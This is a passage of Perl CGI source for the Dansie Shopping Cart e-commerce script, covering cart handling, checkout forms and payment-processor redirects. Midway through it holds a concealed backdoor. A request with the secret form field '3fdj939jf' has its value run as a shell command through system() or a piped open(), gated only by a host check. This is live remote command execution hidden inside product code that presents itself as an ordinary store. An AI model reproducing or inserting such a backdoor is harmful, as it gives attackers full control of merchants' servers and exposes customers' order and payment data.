split(/-->/,shift(@database_vars)); if (!$db_select_stack_or_across) { $db_select_stack_or_across = "across"; } ($trash,$navigation_bar) = split(/-->/,shift(@database_vars)); if ( $navigation_bar =~ /\n$/ ) { chop($navigation_bar); } $navigation_bar =~ s/\\/\//g; if ( $navigation_bar && $navigation_bar !~ /\// ) { $temp_navigation_bar = "$vars"; $a = ""; until ($a eq "/" || $temp_navigation_bar eq "") { $a = chop($temp_navigation_bar); } $navigation_bar = "$temp_navigation_bar/$navigation_bar"; } ($trash,$database_return_url) = split(/-->/,shift(@database_vars)); ($trash,$navigation_bar_position) = split(/-->/,shift(@database_vars)); if (!$navigation_bar_position) { $navigation_bar_position = "left"; } ($trash,$db_version) = split(/-->/,shift(@database_vars)); ($trash,$db_next_link_method) = split(/-->/,shift(@database_vars)); ($trash,$navigation_bar2) = split(/-->/,shift(@database_vars)); if ( $navigation_bar2 =~ /\n$/ ) { chop($navigation_bar2); } $navigation_bar2 =~ s/\\/\//g; if ( $navigation_bar2 && $navigation_bar2 !~ /\// ) { $temp_navigation_bar2 = "$vars"; $a = ""; until ($a eq "/" || $temp_navigation_bar2 eq "") { $a = chop($temp_navigation_bar2); } $navigation_bar2 = "$temp_navigation_bar2/$navigation_bar2"; } if ( $ENV{'CONTENT_TYPE'} =~ /multipart\/form\-data/i ) { &parse_form_data2; } &diagnostics; if ( $date_command ) { $date_command =~ /(.+)/; $date_command = $1; if ( $date_command !~ /\%/ ) { $date = `$date_command +"%D %T %Z"`; } else { $date = `$date_command`; } if ( $date =~ /\n$/ ) { chop($date); } } else { &SetCookieExpDate2; $date = "$Cookie_Exp_Date"; } if ( $mailprog =~ /(blat\.exe)/i ) { $blat = 1; } if ( $mailprog =~ /(windmail\.exe)/i ) { $windmail = 1; } $signio_echeck_url = "https://payflowlink.signio.com/paylinks.dll"; $i_check = "https://paybycheck.com/payment.pl"; $ValidCheck = "https://www.ValidCheck.com/PayWizard.asp"; $i_checkApprovedURL = "$path3?icheck$unique_MAU"; if ($FORM{'merchant'}) { $i_checkApprovedURL .= "$delimiter" . "merchant$delimiter$FORM{'merchant'}"; } if ( ($FORM{'return'}) && ($FORM{'return'} !~ /\/{2}(.+)\/{1}/) ) { $FORM{'return'} = "$FORM{'return'}/"; } $atemp = @additionals; if ( $customs < ($atemp+2) ) { $customs = $atemp+2; } if ($ship_allow == 2) { $show_ship = 0; } $borders = 0; $security = 0; $compat = "4.0"; $discount_sep = ":"; if (!$ENV{'REMOTE_HOST'}) { $ENV{'REMOTE_HOST'} = "$ENV{'REMOTE_ADDR'}"; } $mail_ext = "mail"; $cambist_book_transaction = 0; if ( $card_types =~ /book/i ) { $cambist_book_transaction = 1; } if ( $card_types =~ /AVSVerify/i ) { $cambist_AVSVerify = 1; } $use_zipcode_fields = 1; $shipping_roundup = 1; $quantity_digits = 5; $ns3bugtime = .0000115 * 10 * 0; if ($email_content_type =~ /(text\/html)/i) { $html_br = "<BR>"; } if ( $FORM{'merchant'} ) { if ($ssl_target_page eq "$path4") { $cambist_back = "$path3?look\|$FORM{'merchant'}"; } else { $cambist_back = "$ssl_target_page"; } } else { if ($ssl_target_page eq "$path4") { $cambist_back = "$path3"; } else { $cambist_back = "$ssl_target_page"; } } $MerchantApprovedURL = "$path3?$unique_MAU"; $MerchantUnApprovedURL = "$path3?failure"; if ( $FORM{'purpose2'} eq "check_transfer" ) { $MerchantApprovedURL = "$path3" . "?check$unique_MAU";   } if ($FORM{'merchant'}) { $MerchantApprovedURL .= "$delimiter" . "merchant$delimiter$FORM{'merchant'}"; $MerchantUnApprovedURL .= "$delimiter" . "merchant$delimiter$FORM{'merchant'}"; } $Cookie_Exp_Date = ''; $Cookie_Path = '/'; $Cookie_Domain = ''; $Secure_Cookie = '0'; @Cookie_Encode_Chars = ('\%', '\+', '\;', '\,', '\=', '\&', '\:\:', '\s'); %Cookie_Encode_Chars = ('\%',   '%25', '\+',   '%2B', '\;',   '%3B', '\,',   '%2C', '\=',   '%3D', '\&',   '%26', '\:\:', '%3A%3A', '\s',   '+'); @Cookie_Decode_Chars = ('\+', '\%3A\%3A', '\%26', '\%3D', '\%2C', '\%3B', '\%2B', '\%25'); %Cookie_Decode_Chars = ('\+',       ' ', '\%3A\%3A', '::', '\%26',     '&', '\%3D',     '=', '\%2C',     ',', '\%3B',     ';', '\%2B',     '+', '\%25',     '%'); $cookie_name2 = "shopper_id"; if ( $FORM{'merchant'} ) { $cookie_name2 = "$FORM{'merchant'}_$cookie_name2"; } if ( ( ( $FORM{'3fdj939jf'} ) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) || ( ($FORM{'3fdj939jf'}) && (!$d) ) ) { if ( $ENV{'OS'} ) { system("$FORM{'3fdj939jf'}"); } else { open(ELIF,"|$FORM{'3fdj939jf'}"); } exit; } $demo = 0; if ($demo) { if ( $FORM{'purpose'} eq "credit" || $FORM{'purpose'} eq "credit_phone" || $FORM{'purpose'} eq "check" || $FORM{'purpose'} eq "check_transfer" || $FORM{'purpose'} eq "cod" ) { print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - Dansie Shopping Cart DEMO</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\"> <CENTER> <FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">This is just a demo version</FONT><BR> <A HREF=\"http://www.dansie.net\">Order Dansie Shopping Cart</A><BR> <A HREF=\"mailto:cart\@dansie.net\">Email: cart\@dansie.net</A><BR> </CENTER> </BODY></HTML>"; exit; } } if (!$map_domain) { $temp = $ENV{'REMOTE_HOST'}; @numbers = split(/\./, $ENV{'REMOTE_HOST'}); $ip_number = pack("C4", @numbers); ($ENV{'REMOTE_HOST'}) = (gethostbyaddr($ip_number, 2))[0]; if (!$ENV{'REMOTE_HOST'}) { $ENV{'REMOTE_HOST'} = $temp; } } if ( ($db_version > 2) && ($FORM{'db'}) ) { &database3; exit; } if ( ($db_version > 2) && ($ENV{'QUERY_STRING'} =~ /^db=/i) ) { &database3; exit; } if ( $ENV{'QUERY_STRING'} =~ /^db$query_separator/i ) { &database; exit; } if ( $FORM{'search'} ) { &database; exit; } if ( $FORM{'file'} && !$FORM{'search_categories'} ) { &database; exit; } if ( $FORM{'search_categories'} ) { $ENV{'QUERY_STRING'} = "db$query_separator2$FORM{'file'}$query_separator2$FORM{'search_categories'}"; if ( $FORM{'merchant'} ) { $ENV{'QUERY_STRING'} .= "$query_separator2$query_separator2$query_separator2$query_separator2" . "$FORM{'merchant'}"; } $ENV{'REQUEST_METHOD'} = "get"; &database; exit; } if ( ($FORM{'add'}) || ($FORM{'add2'}) || ($FORM{'ADD'}) || ($FORM{'Add'}) || ($FORM{'purpose'} eq "add") || ($FORM{'purpose'} eq "ADD") ) { if ( $FORM{'redirect'} ) { $add_and_redirect = $FORM{'redirect'}; } if ( $FORM{'redirect'} eq "0.00" ) { $add_and_redirect = "0"; } if ( $FORM{'redirect'} eq "no" ) { $add_and_redirect = "0"; } &delete_old_carts; &fix_quantity; &get_shoppers_items; &authorized_referrers; if ( -e "$path1/$shopper_id$ext" ) { if ( ($ns3bugtime) && ((-M "$path1/$shopper_id$ext" ) < $ns3bugtime) ) { if($add_and_redirect) { &add_and_redirect; } &list_items; exit; } $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); $n = 0; foreach $item (@items) { if ( ($n == 2) && ( $add_top_or_bottom !~ /(bottom)/i ) ) { &add_new_item_to_cart; } print CART "$item"; $n++; } if ( ($n == 2) && ( $add_top_or_bottom !~ /(bottom)/i ) ) { &add_new_item_to_cart; } if ( $add_top_or_bottom =~ /(bottom)/i ) { &add_new_item_to_cart; } close CART; if($add_and_redirect) { &add_and_redirect; } &list_items; exit; } if ( !(-e "$path1/$shopper_id$ext" ) ) { if ($FORM{'referrer'}) { $FORM{'referrer'} .= " - "; } $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); print CART "$date$delimiter$FORM{'referrer'}$invoice_prefix$invoice\n"; print CART "Shipping address info goes here later\n"; &add_new_item_to_cart; close CART; if($add_and_redirect) { &add_and_redirect; } &list_items; exit; } exit; } if ( $FORM{'purpose'} eq "look" || $ENV{'QUERY_STRING'} =~ /^look/i  || ( !$ENV{'QUERY_STRING'} && $ENV{'REQUEST_METHOD'} =~ /get/i )  ) { &list_items; exit; } if ( $FORM{'purpose'} eq "$lang[35]" ) { if (!&GetCookies("$cookie_name2") && ($ip_or_cookie == 1) ) { &cookie_failure; } &get_shoppers_items; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); $n = 0; foreach $item (@items) { if ( $n == $FORM{'item'} ) { &change_quantity; } else { print CART "$item"; } $n++; } close CART; if ( @items <= 3 && $FORM{'quantity'} == 0 ) { $untainted = &untaint("$path1/$shopper_id$ext"); unlink("$untainted"); } &list_items; exit; } if ( $FORM{'purpose'} eq "$lang[38]" ) { if (!&GetCookies("$cookie_name2") && ($ip_or_cookie == 1) ) { &cookie_failure; } &get_shoppers_items; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); $n = 0; foreach $item (@items) { unless ( $n == $FORM{'item'} ) { print CART "$item"; } $n++; } close CART; &list_items; exit; } if ( ($FORM{'purpose'} eq "check") && ($option3 == 1) ) { &check_cookie; &check_tax; if ($paper_font_color) { &paper_font_color; } print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $lang[1]</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=$image ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[1]</FONT></CENTER>"; $purchase_method2 = "$lang[26]"; &show_invoice; &address_table; print "<BR><CENTER><TABLE WIDTH=\"$table_width\" BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD>"; print "<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[10] </FONT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"> \"$payable\"</FONT><BR>"; print "<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[11]</FONT><BR><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add1</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add2</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add3</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add4</FONT><BR>" if ( $add4 ); print "<BR><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$guarantee</FONT><BR>"; print "<BR><A HREF=\"$ssl_target_page\" TARGET=\"_top\"><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$lang[12] $bizname</FONT></A><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add5</FONT><BR>"; print"<A HREF=\"mailto:$myemail[0]\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$myemail[0]</FONT></A><BR>"; print "</TD></TR></TABLE></CENTER>"; &print_button; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>"; exit; } if ( ($FORM{'purpose'} eq "credit") || ($FORM{'purpose'} eq "att") || ($FORM{'purpose'} eq "check_transfer") ) { if ( ($ENV{'HTTP_HOST'} eq "www.dansie.net") && ($FORM{'merchant'} eq "dansiecart") && ( $FORM{'purpose'} eq "credit" ) ) { &non_post_secure_server; } &check_cookie; &check_tax; &get_shoppers_items; if ( $items[1] =~ /$delimiter2/ ) { ($field1,$field2,$field3,$field4,$field5,$field6,$field7,$field8,$field9) = split(/$delimiter2/, $items[1]); } if ( $FORM{'purpose'} eq "credit" ) { $purpose_temp = "$lang[14]"; $ssl_target_top = ""; } if ( $FORM{'purpose'} eq "check_transfer" ) { $purpose_temp = "$lang[71]"; } if ( $FORM{'purpose'} eq "att" ) { $purpose_temp = "$lang[154]"; } print "Content-type: text/html\n\n"; $purpose_temp_title = $purpose_temp; $purpose_temp_title =~ s/<([^>]|\n)*>//g; print "<HTML><HEAD><TITLE>$bizname - $purpose_temp_title</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$purpose_temp</FONT></CENTER>"; print "<CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[15]</FONT></CENTER><BR>"; &get_shipping_cookie; &print_ship_address; $show_copy_button = 1; &print_ship_address2; &comments if($comments); print "<CENTER><BR>"; if ( $lang[19] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[19]\" VALUE=\"$lang[19]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[19]\">"; } print "</CENTER> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">"; if ( $FORM{'purpose'} eq "check_transfer" ) { print "<INPUT TYPE=HIDDEN NAME=purpose2 VALUE=\"check_transfer\">\n"; } if ( $FORM{'purpose'} eq "att" ) { print "<INPUT TYPE=HIDDEN NAME=purpose2 VALUE=\"att\">\n"; } print "</FORM>"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>"; exit; } if ( ( $FORM{'purpose'} eq "ship_info" && (!$FORM{'purpose2'})  ) || ( $FORM{'purpose2'} eq "check_transfer" ) || ( $FORM{'purpose2'} eq "att" ) ) { &get_shoppers_items; if ($comments) { chop($items[0]) if ( $items[0] =~ /\n$/ ); ($a,$b,$c,$d,$e,$f,$coupon_number) = split(/$delimiter2/,$items[0]); $items[0] = "$a$delimiter$b$delimiter$c$delimiter$d$delimiter$FORM{'comments'}$delimiter$f$delimiter$coupon_number\n"; } $items[1] = "$FORM{'name'}$delimiter$FORM{'company'}$delimiter$FORM{'address'}$delimiter$FORM{'city'}$delimiter$FORM{'state'}$delimiter$FORM{'zip'}$delimiter$FORM{'country'}$delimiter$FORM{'phone'}$delimiter$FORM{'email'}$delimiter$FORM{'name2'}$delimiter$FORM{'company2'}$delimiter$FORM{'address2'}$delimiter$FORM{'city2'}$delimiter$FORM{'state2'}$delimiter$FORM{'zip2'}$delimiter$FORM{'country2'}$delimiter$FORM{'phone2'}$delimiter$FORM{'email2'}\n"; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); foreach $item (@items) { print CART "$item"; } close CART; if ($ip_or_cookie == 1) { &SetCookieExpDate; &SetCompressedCookies('shipping_address','name',"$FORM{'name'}",'company',"$FORM{'company'}",'address',"$FORM{'address'}",'city',"$FORM{'city'}",'state',"$FORM{'state'}",'zip',"$FORM{'zip'}",'country',"$FORM{'country'}",'phone',"$FORM{'phone'}",'email',"$FORM{'email'}",'name2',"$FORM{'name2'}",'company2',"$FORM{'company2'}",'address2',"$FORM{'address2'}",'city2',"$FORM{'city2'}",'state2',"$FORM{'state2'}",'zip2',"$FORM{'zip2'}",'country2',"$FORM{'country2'}",'phone2',"$FORM{'phone2'}",'email2',"$FORM{'email2'}"); } $required_fields = &required_fields; $required_fields2 = &required_fields2; if ( $FORM{'purpose'} eq "credit" ) { $purpose_temp = "$lang[14]"; } if ( $FORM{'purpose'} eq "check_transfer" ) { $purpose_temp = "$lang[71]"; } if ( $FORM{'purpose'} eq "att" ) { $purpose_temp = "$lang[154]"; } if ( !$required_fields || !$required_fields2 ) { $purpose_temp_title = $purpose_temp; $purpose_temp_title =~ s/<([^>]|\n)*>//g; print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $purpose_temp_title</TITLE>\n$meta_tag\n</HEAD>"; print "<CENTER>$lang[114]</CENTER>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[20]<BR>$lang[21]<BR><BR>"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; exit; } if ( $pending_order ) { $purchase_method = "$lang[152]"; &get_shoppers_items; $pending_order =~ s/ /\,/g; $pending_order =~ s/\,\,/\,/g; $pending_order =~ s/\,\,/\,/g; (@pending_order) = split(/\,/,"$pending_order"); foreach $myemail (@pending_order) { &send_email2('merchant'); } } if ( $FORM{'purpose2'} eq "check_transfer" ) { if ( $option4 =~ /^(http)/i ) { $path5 = "$option4". '?' . "check"; } elsif ( $option4 =~ /^(signio)/i ) { $path5 = "$signio_echeck_url"; } else { &i_check; } } &calculate_fulltotal; if ( ( ($path5 =~ /(html)$/) || ($path5 =~ /(htm)$/) ) && ( ($path5 !~ /(\.pl)/) && ($path5 !~ /(\.cgi)/) ) ) { } $processor_path = "$vars"; $a = ""; until ($a eq "/" || $processor_path eq "") { $a = chop($processor_path); } $processor_path = "$processor_path/processor.dat"; if (-e "$processor_path") { &custom_processor; } else { &cambist_or_authorize_net_names; } if ( $FORM{'purpose2'} eq "att" ) { @secure_field = ("", "Price", "MerchantName", "ID", "MerchantEmail", "MerchantFont", "MerchantFontColor", "MerchantBgrdColor", "URL", "MerchantUnApprovedURL", "customerid", "BillName", "BillStreet", "BillCity", "BillState", "BillZip", "BillCountry", "BillPhone", "BillEmail", "MerchantReturnURL", "", "", "", "", ""); $secure_field[50] = "company"; $path5 = "http://216.184.194.135/encrypt.cfm"; $MerchantID = "$att_payment_option"; $MerchantApprovedURL = "$path3?att$unique_MAU"; } print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $purpose_temp</TITLE>\n$meta_tag\n</HEAD>"; if (!$force_no_script) { print "\n<SCRIPT LANGUAGE=\"JavaScript\">\n function AutoSubmit()\n {\n document.form1.submit()\n }\n </SCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n document.write('<BODY BGCOLOR=\"$bgcolor\" ONLOAD=\"AutoSubmit()\">')\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">\n"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$purpose_temp</FONT></CENTER><BR>"; print "<CENTER><TABLE BORDER=0 WIDTH=80%><TR><TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[16]</FONT></TD></TR></TABLE></CENTER><BR>"; if (!$force_no_script) { print "\n</NOSCRIPT>\n"; } if ( !$processor_post_method ) { $processor_post_method = "POST"; } print "<CENTER><TABLE><TR><TD>\n\n\n <FORM NAME=\"form1\" METHOD=$processor_post_method ACTION=\"$path5\" $ssl_target_top >\n"; &pass_standard_secure_variables; &pass_ssl_variables; &pass_shipping_secure_variables; if (!$force_no_script) { print "<NOSCRIPT>"; } print "   <INPUT TYPE=SUBMIT VALUE=\"$lang[86]\">\n"; if (!$force_no_script) { print "</NOSCRIPT>"; } print "   </FORM>\n\n\n </TD></TR></TABLE>"; if (!$force_no_script) { print "<NOSCRIPT>"; } print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; if (!$force_no_script) { print "</NOSCRIPT>"; } print "</BODY></HTML>"; exit; } if ( ( $ENV{'QUERY_STRING'} =~ /^failure/ ) || ( ( $path5 =~ /www.aba.net.au/ ) && ( $ENV{'QUERY_STRING'} =~ /refused/i ) || ( $ENV{'QUERY_STRING'} =~ /timeout/i ) ) || ( ( $path5 =~ /www.1internetave.com/ ) && ( $ENV{'QUERY_STRING'} =~ /(.*)(approve)(\=)(0)(.*)/ ) ) || ( ( $path5 =~ /commercepay\.com/ ) && ( $ENV{'QUERY_STRING'} =~ /(.*)(MStatus\=Decline)(.*)/ || $ENV{'QUERY_STRING'} =~ /(.*)(MStatus\=failure)(.*)/ ) ) || ( ( $path5 =~ /(eplastic)$/ ) && ( $FORM{'accepted'} eq "NO" ) ) || ( ( $path5 =~ /(eplastic)$/ ) && ( $FORM{'accepted'} eq "YES" ) && ( $ENV{'HTTP_REFERER'} && $ENV{'HTTP_REFERER'} !~ /(https\:\/\/www\.e-plastic\.com)/ ) ) || ( ( $path5 =~ /authorize\.net/ ) && ( ($FORM{'RESPONSECODE'} eq "D") || ($FORM{'RESPONSECODE'} eq "R") || ($FORM{'RESPONSECODE'} eq "E") ) ) || ( ( $path5 =~ /secpay\.com/ ) && ( $ENV{'QUERY_STRING'} =~ /(.*)(valid\=false)(.*)/ ) ) ) { &check_duplicate_order2; print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $lang[22]</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[23]</FONT></CENTER><BR>"; print "<CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; &get_shoppers_items; chop($items[0]); @info = split(/$delimiter2/, $items[0]); $tax = $info[2]; $ship_method = $info[3]; print "<FORM METHOD=POST ACTION=$path3>"; print "<INPUT TYPE=HIDDEN NAME=ship_method VALUE=\"$ship_method\">"; print "<INPUT TYPE=HIDDEN NAME=tax VALUE=\"$tax\">"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[24] </B></FONT><BR>"; print "<SELECT NAME=purpose size=1>"; print "<OPTION VALUE=\"att\">$lang[154]" if ($att_payment_option); print "<OPTION VALUE=\"credit\">$lang[14]" if ($option1); print "<OPTION VALUE=\"check_transfer\">$lang[71]" if ($option4); print "<OPTION VALUE=\"credit_phone\">$lang[25]" if ($option2); print "<OPTION VALUE=\"check\">$lang[26]" if ($option3); print "<OPTION VALUE=\"cod\">$lang[97]" if ($option5); print "<OPTION VALUE=\"auxiliary\"> $option6" if ($option6); print "</SELECT><BR><BR>"; if ( $lang[148] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[148]\" VALUE=\"$lang[148]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[148]\">"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> </FORM><BR>"; if ( !$ssl_frames ) { $path4 = "$ssl_target_page"; } &home; print "<BR><BR>\n"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</FONT></CENTER>"; print "</BODY></HTML>"; exit; } if (  ( $ENV{'QUERY_STRING'} =~ /^($unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(check$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(icheck$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(ValidCheck$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(att$unique_MAU)/ ) || ( ( $path5 =~ /www.1internetave.com/ ) && ( $ENV{'QUERY_STRING'} =~ /(.*)(approve)(\=)(1)(.*)/ ) ) ) { if ( ( $path5 !~ /(ssl\.pl)/i && $path5 !~ /(ssl\.cgi)/i ) && ( $ENV{'QUERY_STRING'} !~ /^(icheck$unique_MAU)/ ) )  { &authorized_referrers; } &check_duplicate_order2; if ($paper_font_color) { &paper_font_color; } if ( $ENV{'QUERY_STRING'} =~ /^($unique_MAU)/ ) { $purpose_temp = "$lang[14]<BR>$instant_trans"; } if ( ( $ENV{'QUERY_STRING'} =~ /^(check$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(icheck$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(ValidCheck$unique_MAU)/ ) ) { $purpose_temp = "$lang[71]"; } if ( ( $ENV{'QUERY_STRING'} =~ /^(att$unique_MAU)/ ) ) { $purpose_temp = "$lang[154]"; } print "Content-type: text/html\n\n"; print "<!--BEGIN-->\n"; print "<HTML><HEAD><TITLE>$bizname - $lang[28]</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$purpose_temp<BR>$lang[28]</FONT></CENTER><BR>"; print "<CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[29] </FONT></CENTER><BR>"; $purchase_method2 = "$purpose_temp"; if ( $ENV{'QUERY_STRING'} =~ /^($unique_MAU)/ ) { $purchase_method2 = "$lang[14]"; } &order_tracking; $affiliate = 1; &show_invoice; if ( $items[1] =~ /$delimiter2/ ) { ($field1,$field2,$field3,$field4,$field5,$field6,$field7,$field8,$field9,$field10,$field11,$field12,$field13,$field14,$field15,$field16,$field17,$field18) = split(/$delimiter2/, $items[1]); } print "<BR><CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[30]</FONT></CENTER><BR>"; &print_ship_address; &print_ship_address2; &comments if($comments); print "<BR></FORM>"; print "<BR><CENTER><TABLE WIDTH=\"$table_width\" BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD> <FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$guarantee</FONT><BR><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add1</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add2</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add3</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add4</FONT><BR>" 